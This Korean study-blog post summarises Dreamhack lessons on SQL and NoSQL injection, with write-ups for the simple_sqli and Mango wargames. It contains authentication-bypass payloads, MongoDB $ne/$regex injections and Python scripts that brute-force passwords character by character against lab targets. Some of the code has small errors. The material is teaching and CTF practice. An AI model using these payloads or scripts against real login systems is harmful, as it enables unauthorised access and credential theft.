6주차/SQL Injection 개념

gkdudans·2023년 11월 25일

EVI$ION/웹

목록 보기
8/11

[드림핵] SQL Injection

#1. SQL Injection

1. Background: Relational DBMS

  • DBMS: 데이터베이스를 관리하는 애플리케이션 / 데이터베이스에 새로운 정보 기록, 수정, 삭제
  • DBMS의 종류
    • 관계형: 테이블 형식 / 행과 열의 집합
    • 비관계형: 키-값(Key-Value) 형식으로 데이터 저장
    • RDBMS(관계형)
      1. RDBMS: 관계 연산자는 SQL이라는 쿼리 언어 사용 / 쿼리를 통해 테이블 형식의 데이터 조작
      2. SQL: RDBMS의 데이터를 정의,질의, 수정하기 위해 고안된 언어 / 구조화된 형식
      3. SQL의 종류
      - DDL: 데이터 정의 / CREATE 새로운 데이터베이스, 테이블 생성
      - DML: 데이터 추가 / INSERT 새로운 데이터 생성 / SELECT 데이터 조회 / UPDATE 데이터 수정
            

2. ServerSide: SQL Injection

    1. SQL: DBMS에 데이터를 질의하는 언어 / 이용자의 입력을 SQL 구문에 포함해 요청하는 경우 존재
    1. SQL Injection: 이용자가 SQL 구문에 임의 문자열을 삽입하는 행위
    1. Simple SQL Injection
    • ' 문자를 사용 / ex) SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';
    • 주석( --#/**/ )을 사용 / ex) SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';
    1. Blind SQL Injection: 인증 우회 x / 참, 거짓 반환 결과로 데이터를 획득하는 공격 기법
    • ascii 함수 / 전달된 문자를 아스키 형태로 변환
      ex) ascii(’a') 실행 ⇒ 97 반환
    • substr 함수: 문자열에서 지정한 위치부터 길이까지의 값 가져옴
      ex) substr(string, position, length)
      substr('ABCD', 1, 1) = 'A'
      substr('ABCD', 2, 2) = 'BC'
    1. Blind SQL Injection 공격 스크립트
      • 공격 자동화 스크립트
      • 공격 자동화 스크립트에 유용한 라이브러리: ex) 파이썬 - requests 모듈 / 다양한 메소드를 사용해 HTTP 요청 보낼 수 있음
              ```sql
              --requests 모듈 GET 예제 코드
              import requests
              url = 'https://dreamhack.io/'
              headers = {
                  'Content-Type': 'application/x-www-form-urlencoded',
                  'User-Agent': 'DREAMHACK_REQUEST'
              }
              params = {
                  'test': 1,
              }
              for i in range(1, 5):
                  c = **requests.get**(url + str(i), headers=headers, params=params)
              		--requests.get: GET 메소드로 HTTP 요청을 보냄
                  print(c.request.url)
                  print(c.text)
              ```
              
              ```sql
              --requests 모듈 POST 예제 코드
              import requests
              url = 'https://dreamhack.io/'
              headers = {
                  'Content-Type': 'application/x-www-form-urlencoded',
                  'User-Agent': 'DREAMHACK_REQUEST'
              }
              data = {
                  'test': 1,
              }
              for i in range(1, 5):
                  c = **requests.post**(url + str(i), headers=headers, data=data)
              		--requests.post: POST 메소드로 HTTP 요청을 보
                  print(c.text)
              ```
              
          3. ex) 공격 스크립트 작성: pw는 알파벳, 숫자, 특수문자로 이뤄짐 / 아스키 범위로 32부터 126까지의 모든 문자 
              
              ```sql
              -- upw의 각 문자를 하나씩 비교하기 위한 것--공격 스크립트
              #!/usr/bin/python3
              import requests
              import string
              # example URL
              url = 'http://example.com/login'
              params = {
                  'uid': '',
                  'upw': ''
              }
              # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
              -- string 모듈을 사용해 알파벳+숫자+특수문자의 문자열 생성
              tc = **string**.ascii_letters + **string**.digits + **string**.punctuation
              # 사용할(시도할) SQL Injection 쿼리 문자열 정의
              -- upw의 각 문자를 하나씩 비교하기 위한 것
              query = '''
              admin' and ascii(substr(upw,{idx},1))={val}--'''
              password = ''
              -- 최종적으로 찾아낸 비밀번호 저장할 변수 초기화
              
              # 비밀번호 길이는 20자 이하라 가정
              for idx in range(0, 20):
                  for ch in tc: --tc를 하나씩 대입
                      # query를 이용하여 Blind SQL Injection 시도
                      params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
              				--현재 문자를 쿼리에 삽입하여 injection 시도하기 위해 uid 설정
              				--ord(ch): 문자의 ASCII값 반환
                      c = requests.get(url, params=params) --get 요청 보냄
                      print(c.request.url)
                      # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
                      if c.text.find("Login success") != -1:
                          password += chr(ch) --성공한 경우, 문자열에 추
                          break
              print(f"Password is {password}")
              ```
              
              

#2. [함께실습] SQL Injection

  1. 문제: simple_sqli | 워게임 | Dreamhack
    1. 문제 해결: (1) SQL Injection
      1. userid와 userpassword를 이용자에게 입력받을 때 검사하는 과정이 없음

      2. RawQuery: 동적으로 생성한 쿼리 / 생성할 때 이용자의 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있음

      3. admin이라는 결과가 반환되도록 쿼리문 조작

      4. 정답:

        /*
        ID: admin, PW: DUMMY
        userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
        */
        SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
        
        /*
        ID: admin" or "1 , PW: DUMMY
        userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
        */
        SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
        
        /*
        ID: admin, PW: DUMMY" or userid="admin
        userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
        */
        SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
        
        /*
        ID: " or 1 LIMIT 1,1-- , PW: DUMMY
        userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
        */
        SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
  2. 문제 해결: (2) Blind SQL Injection
    1. 개발자 도구-네트워크-preserve log에서 POST 요청-Form Data 확인
    2. 비밀번호 길이 파악하는 파이썬 스크립트
    3. 비밀번호 획득 / 이진 탐색 알고리즘 이용

#3. NoSQL Injection

1. Background: Non-Relational DBMS

  • Non-Relational DBMS: NRDBMS, NoSQL / SQL을 사용하지 않고 키-값을 사용해 데이터 저장
  • MongoDB
    • 특징: JSON형태 / 스키마를 따로 정의하지 않아 컬렉션(Collection) 정의도 X / JSON 형식으로 쿼리 작성 / _id 필드가 Primary Key 역할
    • $ 문자를 통해 연산자 사용
    • MongoDB 연산자
  • Redis
    • 특징: 키-값의 쌍을 가진 데이터 저장 / 메모리 기반 DBMS, 빠른 속도
    • 데이터 조회 및 조작 명령어
    • 관리 명령어
  • CouchDB
    • 특징: JSON 형태 / 웹 기반 DBMS / REST API 같은 형식으로 요청 처리
    • 메소드에 따른 기능
    • 특수 구성 요소: _ 문자로 시작하는 URL, 필드

2. ServerSide: NoSQL Injection

  • NoSQL Injection
    • SQL Injection과 공격 방법이 매우 유사 / 의도치 않은 결과를 반환해 인증 우회
    • MongoDB: $ne 연산자 / not equal, 일치하지 않는 데이터 반환
  • NoSQL Injection 실습
    • 정답: {"uid": "admin", "upw": {"$ne":""}}
  • Blind NoSQL Injection
    • Blind SQL Injection과 유사 / 참, 거짓 결과를 통해 데이터베이스의 정보를 알아낼 수 있음
    • MongoDB: $regex$where 연산자를 사용
  • Blind NoSQL Injection 실습
    • 정답:
      비밀번호 길이 획득
        ```sql
        {"uid": "admin", "upw": {"$regex":".{5}"}}
        => admin
        {"uid": "admin", "upw": {"$regex":".{6}"}}
        => undefined
        ```
        **비밀번호 획득**
        ```sql
        {"uid": "admin", "upw": {"$regex":"^a"}}
        admin
        {"uid": "admin", "upw": {"$regex":"^aa"}}
        undefined
        {"uid": "admin", "upw": {"$regex":"^ab"}}
        undefined
        {"uid": "admin", "upw": {"$regex":"^ap"}}
        admin
        ...
        {"uid": "admin", "upw": {"$regex":"^apple$"}}
        ```
        

#4. [함께실습] NoSQL Injection

  1. Mango | 워게임 | Dreamhack
  2. 문제 해결: NoSQL Injection
    1. string 외에 다양한 형태의 object도 쿼리로 전달 가능함을 확인

    2. 코드에서 MongoDB에 쿼리를 전달할 때, 쿼리 변수의 타입 검사를 하지 않음

    3. Blind NoSQL Injection Payload 생성: $regex연산 이용해 데이터 검색

      login?uid=guest&upw[$regex]=.*

    4. fliter 우회: 임의 문자를 의미하는 .을 이용하여 우회

      login?uid[$regex]=ad.in&upw[$regex]=D.{*

    5. 코드 작성: 여러 번 쿼리 전달

      import requests, string
      HOST = 'http://localhost'
      ALPHANUMERIC = string.digits + string.ascii_letters
      SUCCESS = 'admin'
      flag = ''
      for i in range(32):
          for ch in ALPHANUMERIC:
              response = requests.get(f'**{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}'**)
              if response.text == SUCCESS:
                  flag += ch
                  break
          print(f'FLAG: DH{{{flag}}}')

      정답: DH{89e50fa6fafe2604e33c0ba05843d3df}

profile
https://github.com/gkdudans

0개의 댓글